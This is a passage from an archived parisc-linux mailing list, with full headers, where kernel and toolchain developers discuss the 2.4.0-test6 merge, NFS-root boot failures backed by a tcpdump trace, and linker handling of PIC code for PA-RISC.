My 53c720 driver doesn't work any more either :-(

Richard


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 13:08:35 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20000818130835.B13870@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000818124944.A13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619055 2412 80.91.229.3 (22 Nov 2014 01:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Aug 18 06:09:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA09700
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 06:09:40 -0600
Original-Received: (qmail 13494 invoked by uid 15267); 18 Aug 2000 12:09:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13482 invoked from network); 18 Aug 2000 12:09:25 -0000
Original-Received: from ppp-1-219.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.219)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 12:09:25 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C21E1B005; Fri, 18 Aug 2000 13:08:35 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000818124944.A13870@linuxcare.com>; from rhirst@linuxcare.com on Fri, Aug 18, 2000 at 12:49:44PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7721

On Fri, Aug 18, 2000 at 12:49:44PM +0100, Richard Hirst wrote:
> I just commented out the 'goto err_out_free_netdev' in tulip_core.c
> and it now claims to mount nfs root, but cannot find init.

In fact, it gets as far as reading the first block of init,
doesn't like it, then goes and tries to read /bin/sh, finds it is
a link to busybox, reads in the first block of that, and doesn't
like it either:

13:06:01.601816 10.1.1.42.3529076739 > thinkpad.nfs: 104 getattr fh Unknown/1 (DF)
13:06:01.602198 thinkpad.nfs > 10.1.1.42.3529076739: reply ok 96 getattr DIR 40755 ids 0/0 sz 4096 
13:06:01.602930 10.1.1.42.3529076740 > thinkpad.nfs: 104 statfs fh Unknown/1 (DF)
13:06:01.603217 thinkpad.nfs > 10.1.1.42.3529076740: reply ok 48 statfs tsize 8192 bsize 4096 blocks 1795208 bfree 1036107 bavail 944915
13:06:01.654497 10.1.1.42.3529076741 > thinkpad.nfs: 112 lookup fh Unknown/1 "dev" (DF)
13:06:01.654939 thinkpad.nfs > 10.1.1.42.3529076741: reply ok 128 lookup fh Unknown/1
13:06:01.655678 10.1.1.42.3529076742 > thinkpad.nfs: 116 lookup fh Unknown/1 "console" (DF)
13:06:01.656096 thinkpad.nfs > 10.1.1.42.3529076742: reply ok 128 lookup fh Unknown/1
13:06:01.746812 10.1.1.42.3529076743 > thinkpad.nfs: 112 lookup fh Unknown/1 "sbin" (DF)
13:06:01.747229 thinkpad.nfs > 10.1.1.42.3529076743: reply ok 128 lookup fh Unknown/1
13:06:01.748070 10.1.1.42.3529076744 > thinkpad.nfs: 112 lookup fh Unknown/1 "init" (DF)
13:06:01.748482 thinkpad.nfs > 10.1.1.42.3529076744: reply ok 128 lookup fh Unknown/1
13:06:01.752611 10.1.1.42.3529076745 > thinkpad.nfs: 116 read fh Unknown/1 4096 bytes @ 0 (DF)
13:06:01.755048 thinkpad > 10.1.1.42: (frag 29180:1244@2960)
13:06:01.756395 thinkpad > 10.1.1.42: (frag 29180:1480@1480+)
13:06:01.757625 thinkpad.nfs > 10.1.1.42.3529076745: reply ok 1472 read (frag 29180:1480@0+)
13:06:01.801136 10.1.1.42.3529076746 > thinkpad.nfs: 112 lookup fh Unknown/1 "etc" (DF)
13:06:01.801363 thinkpad.nfs > 10.1.1.42.3529076746: reply ok 28 lookup ERROR: No such file or directory
13:06:01.841690 10.1.1.42.3529076747 > thinkpad.nfs: 112 lookup fh Unknown/1 "bin" (DF)
13:06:01.842115 thinkpad.nfs > 10.1.1.42.3529076747: reply ok 128 lookup fh Unknown/1
13:06:01.842839 10.1.1.42.3529076748 > thinkpad.nfs: 112 lookup fh Unknown/1 "init" (DF)
13:06:01.843059 thinkpad.nfs > 10.1.1.42.3529076748: reply ok 28 lookup ERROR: No such file or directory
13:06:01.881209 10.1.1.42.3529076749 > thinkpad.nfs: 112 lookup fh Unknown/1 "sh" (DF)
13:06:01.881792 thinkpad.nfs > 10.1.1.42.3529076749: reply ok 128 lookup fh Unknown/1
13:06:01.882522 10.1.1.42.3529076750 > thinkpad.nfs: 104 readlink fh Unknown/1 (DF)
13:06:01.882761 thinkpad.nfs > 10.1.1.42.3529076750: reply ok 44 readlink "/bin/busybox"
13:06:01.883512 10.1.1.42.3529076751 > thinkpad.nfs: 116 lookup fh Unknown/1 "busybox" (DF)
13:06:01.883917 thinkpad.nfs > 10.1.1.42.3529076751: reply ok 128 lookup fh Unknown/1
13:06:01.887998 10.1.1.42.3529076752 > thinkpad.nfs: 116 read fh Unknown/1 4096 bytes @ 0 (DF)
13:06:01.890360 thinkpad > 10.1.1.42: (frag 29187:1244@2960)
13:06:01.891710 thinkpad > 10.1.1.42: (frag 29187:1480@1480+)
13:06:01.892955 thinkpad.nfs > 10.1.1.42.3529076752: reply ok 1472 read (frag 29187:1480@0+)

I guess it doesn't recognise the file format for some reason..

Richard.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot in Graphic-Mode
Date: Fri, 18 Aug 2000 08:33:07 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000818083307.T7757@vodka.thepuffingroup.com>
References: <17061.966577129@www28.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619055 2418 80.91.229.3 (22 Nov 2014 01:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steffen Lvrch <sloerch@gmx.de>
Original-X-From: willy@thepuffingroup.com  Fri Aug 18 07:38:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA10282
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 07:38:23 -0600
Original-Received: (qmail 19851 invoked by uid 15267); 18 Aug 2000 13:38:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19820 invoked from network); 18 Aug 2000 13:38:08 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 13:38:08 -0000
Original-Received: (qmail 31507 invoked from network); 18 Aug 2000 13:37:39 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 18 Aug 2000 13:37:39 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id IAA28101;
	Fri, 18 Aug 2000 08:33:07 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <17061.966577129@www28.gmx.net>; from Steffen Lvrch on Fri, Aug 18, 2000 at 07:38:49AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7722

On Fri, Aug 18, 2000 at 07:38:49AM +0200, Steffen Lvrch wrote:
> Hey, all !!
> Thanks for replies yesterday! Today another question from da newebee.
> I've installed the CD-Image-Version of da MkLinux, but I don't want to

MkLinux?  I presume you're mistaken here; this kernel is not based on Mach.

> boot into console mode. How can I boot into graphic mode ?

Port the X server :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 08:37:33 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20000818083733.U7757@vodka.thepuffingroup.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000818124944.A13870@linuxcare.com> <20000818130835.B13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619055 2425 80.91.229.3 (22 Nov 2014 01:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Fri Aug 18 07:42:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA10453
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 07:42:53 -0600
Original-Received: (qmail 24527 invoked by uid 15267); 18 Aug 2000 13:42:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24401 invoked from network); 18 Aug 2000 13:42:33 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 13:42:33 -0000
Original-Received: (qmail 32018 invoked from network); 18 Aug 2000 13:42:05 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 18 Aug 2000 13:42:04 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id IAA28126;
	Fri, 18 Aug 2000 08:37:33 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000818130835.B13870@linuxcare.com>; from Richard Hirst on Fri, Aug 18, 2000 at 01:08:35PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7723

On Fri, Aug 18, 2000 at 01:08:35PM +0100, Richard Hirst wrote:
> In fact, it gets as far as reading the first block of init,
> doesn't like it, then goes and tries to read /bin/sh, finds it is
> a link to busybox, reads in the first block of that, and doesn't
> like it either:
> I guess it doesn't recognise the file format for some reason..

Sounds plausible; this is one of the things which got overhauled between
2.3.99pre8 and 2.4.0-test6.  i'll investigate.  is your init SOM or ELF?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 14:45:02 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000818144502.C13870@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000818124944.A13870@linuxcare.com> <20000818130835.B13870@linuxcare.com> <20000818083733.U7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619056 2433 80.91.229.3 (22 Nov 2014 01:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Aug 18 07:46:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA10575
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 07:46:07 -0600
Original-Received: (qmail 27838 invoked by uid 15267); 18 Aug 2000 13:45:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27825 invoked from network); 18 Aug 2000 13:45:52 -0000
Original-Received: from ppp-1-219.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.219)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 13:45:52 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CF3A9B005; Fri, 18 Aug 2000 14:45:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000818083733.U7757@vodka.thepuffingroup.com>; from matthew@wil.cx on Fri, Aug 18, 2000 at 08:37:33AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7724

On Fri, Aug 18, 2000 at 08:37:33AM -0400, Matthew Wilcox wrote:
> On Fri, Aug 18, 2000 at 01:08:35PM +0100, Richard Hirst wrote:
> > In fact, it gets as far as reading the first block of init,
> > doesn't like it, then goes and tries to read /bin/sh, finds it is
> > a link to busybox, reads in the first block of that, and doesn't
> > like it either:
> > I guess it doesn't recognise the file format for some reason..
> 
> Sounds plausible; this is one of the things which got overhauled between
> 2.3.99pre8 and 2.4.0-test6.  i'll investigate.  is your init SOM or ELF?

ELF.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sat, 19 Aug 2000 00:29:01 +1000 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008190020150.9244-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0008180950370.24871-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619056 2441 80.91.229.3 (22 Nov 2014 01:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 18 08:29:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA11311
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 08:29:37 -0600
Original-Received: (qmail 7367 invoked by uid 15267); 18 Aug 2000 14:29:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7315 invoked from network); 18 Aug 2000 14:29:21 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 14:29:21 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA14054;
	Sat, 19 Aug 2000 00:29:01 +1000
In-Reply-To: <Pine.LNX.4.21.0008180950370.24871-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7725

On Fri, 18 Aug 2000, Alan Modra wrote:

> One way to keep out current ABI is to generate a .plt and import stubs
> when statically linking PIC code.  That should be relatively easy to do in
> the linker.

A bit of head-scratching, a couple of added functions, and the linker now
detects PIC functions and handles them appropriately.

bfd/ChangeLog
	* elf32-hppa.c (elf32_hppa_link_hash_entry): Add pic_call.
	(hppa_link_hash_newfunc): Init it.
	(elf32_hppa_link_hash_table): Add pic_call_detected.
	(elf32_hppa_link_hash_table_create): Init it.  multi_subspace too.
	(hppa_type_of_stub): Use an import stub if pic_call.
	(elf32_hppa_check_relocs): Set SEC_HAS_GOT_REF appropriately.
	Don't just create the .got on GOT references, create a .plt too.
	(hppa_handle_PIC_calls): New function.
	(elf32_hppa_size_dynamic_sections): Call it.
	(hppa_setup_plt_PIC_call): New function.
	(elf32_hppa_build_stubs): Call it.
	* section.c (SEC_HAS_GOT_REF): Define new flag for asection.
	* bfd_in2.: Regenerate.


The linker detects PIC functions by noting DLTIND relocations within a
section.  If there aren't any, it's either not PIC, or it's PIC that
doesn't use the .got  Without .got references, we won't need to set
up r19.  Ta DA!

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 15:30:16 -0800
Organization: Hewlett-Packard Co.
Lines: 8
Approved: news@gmane.org
Message-ID: <36FAC708.362B@cup.hp.com>
References: <199903252046.OAA08061@helgaaspc.rsn.hp.com> <36FAA595.DB56B012@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619056 2446 80.91.229.3 (22 Nov 2014 01:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:36 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: krp@cup.hp.com  Thu Mar 25 18:30:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA31516
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 18:30:32 -0500
Original-Received: (qmail 23151 invoked by uid 15267); 25 Mar 1999 23:29:17 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 23144 invoked from network); 25 Mar 1999 23:29:16 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 23:29:16 -0000
Original-Received: from hpctl57.cup.hp.com (root@hpctl57.cup.hp.com [15.0.76.57])
	by atlrel1.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id SAA07993
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 18:30:10 -0500 (EST)
Original-Received: from hpctl57 (krp@hpctl57.cup.hp.com [15.0.76.57]) by hpctl57.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA16137 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 15:30:16 -0800 (PST)
Original-Sender: krp@cup.hp.com
X-Mailer: Mozilla 3.01 (X11; U; HP-UX B.10.20 9000/780)
Xref: news.gmane.org gmane.linux.ports.parisc:7726

> OK, I'm convinced.  I've changed unistd.h to use 0xC0000404 (on the next
> page) for the syscall gateway, although we can easily change it back.

Isn't the next page at 0xc0001000?  Or does linux have some concept of
1k "pages" even though pages in the TLB are 4k?

-Bob


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] architecture overview books?
Date: Fri, 18 Aug 2000 10:24:46 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20000818102446.A28421@vodka.thepuffingroup.com>
References: <20000815144305.A7757@vodka.thepuffingroup.com> <Pine.SOL.4.21.0008172141540.26790-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619057 2449 80.91.229.3 (22 Nov 2014 01:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: willy@thepuffingroup.com  Fri Aug 18 10:23:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12501
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 10:23:12 -0600
Original-Received: (qmail 30686 invoked by uid 15267); 18 Aug 2000 16:22:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30668 invoked from network); 18 Aug 2000 16:22:57 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 16:22:57 -0000
Original-Received: (qmail 27025 invoked from network); 18 Aug 2000 16:22:29 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 18 Aug 2000 16:22:29 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA28430;
	Fri, 18 Aug 2000 10:24:46 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.SOL.4.21.0008172141540.26790-100000@misty.cdf>; from Andrew Park on Thu, Aug 17, 2000 at 09:56:01PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7727

On Thu, Aug 17, 2000 at 09:56:01PM -0400, Andrew Park wrote:
> Hi,
> 
> Can all the register information be found in
> 
> 	PCXL_ers.pdf
> 
> file?  I found it in
> 
> 	http://thepuffingroup.com/parisc/documentation.html
> 
> Or are there other sources where I can get architecture overview?

If you check the links at the bottom, there's one to the PA1.1 and PA2.0
Architecture manuals.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 18 Aug 2000 13:25:53 -0400
Organization: Linuxcare, Inc.
Lines: 29
Approved: news@gmane.org
Message-ID: <8766oy1nxa.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008190020150.9244-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619057 2455 80.91.229.3 (22 Nov 2014 01:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Fri Aug 18 11:26:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA13039
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 11:26:44 -0600
Original-Received: (qmail 5131 invoked by uid 15267); 18 Aug 2000 17:26:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5116 invoked from network); 18 Aug 2000 17:26:30 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 17:26:30 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Pptz-0006RA-00; Fri, 18 Aug 2000 13:25:55 -0400
In-Reply-To: Alan Modra's message of "Sat, 19 Aug 2000 00:29:01 +1000 (EST)"
Original-Lines: 28
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7728

Alan Modra <alan@linuxcare.com.au> writes:

> On Fri, 18 Aug 2000, Alan Modra wrote:
> 
> > One way to keep out current ABI is to generate a .plt and import stubs
> > when statically linking PIC code.  That should be relatively easy to do in
> > the linker.
> 
> A bit of head-scratching, a couple of added functions, and the linker now
> detects PIC functions and handles them appropriately.

Sorry to burst your bubble but this doesn't work in the real world,
where "real world" is defined as 'hppa-linux-gcc -o hello hello.c'

In fact this new linker ends up marking basically everything as
potentially PIC, creating unnecessary import stubs for most functions
in libc.a, and *not* actually switching the relocations to point to
import stubs in the case where I am actually calling PIC in libgcc.a.

Oh and it segfaults on undefined weak symbols though that's easily
fixed.

I'm not even sure where to start fixing this.  I guess I'll try to
find something else to do today :(

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 14:13:26 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000818141326.A28992@vodka.thepuffingroup.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000818124944.A13870@linuxcare.com> <20000818130835.B13870@linuxcare.com> <20000818083733.U7757@vodka.thepuffingroup.com> <20000818144502.C13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619057 2459 80.91.229.3 (22 Nov 2014 01:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:37 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Fri Aug 18 13:18:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14148
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 13:18:41 -0600
Original-Received: (qmail 31868 invoked by uid 15267); 18 Aug 2000 19:18:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31840 invoked from network); 18 Aug 2000 19:18:25 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 19:18:25 -0000
Original-Received: (qmail 12382 invoked from network); 18 Aug 2000 19:17:57 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 18 Aug 2000 19:17:56 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA29015;
	Fri, 18 Aug 2000 14:13:26 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000818144502.C13870@linuxcare.com>; from Richard Hirst on Fri, Aug 18, 2000 at 02:45:02PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7729

On Fri, Aug 18, 2000 at 02:45:02PM +0100, Richard Hirst wrote:
> On Fri, Aug 18, 2000 at 08:37:33AM -0400, Matthew Wilcox wrote:
> > On Fri, Aug 18, 2000 at 01:08:35PM +0100, Richard Hirst wrote:
> > > In fact, it gets as far as reading the first block of init,
> > > doesn't like it, then goes and tries to read /bin/sh, finds it is
> > > a link to busybox, reads in the first block of that, and doesn't
> > > like it either:
> > > I guess it doesn't recognise the file format for some reason..
> > 
> > Sounds plausible; this is one of the things which got overhauled between
> > 2.3.99pre8 and 2.4.0-test6.  i'll investigate.  is your init SOM or ELF?
> 
> ELF.

this problem is now fixed.  there seems to be another problem though since
i just got an hpmc in gsc_readl.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 18 Aug 2000 16:14:27 -0400
Organization: Linuxcare, Inc.
Lines: 92
Approved: news@gmane.org
Message-ID: <87vgwyz5r0.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008190020150.9244-100000@front.linuxcare.com.au> <8766oy1nxa.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619058 2460 80.91.229.3 (22 Nov 2014 01:17:38 GMT)
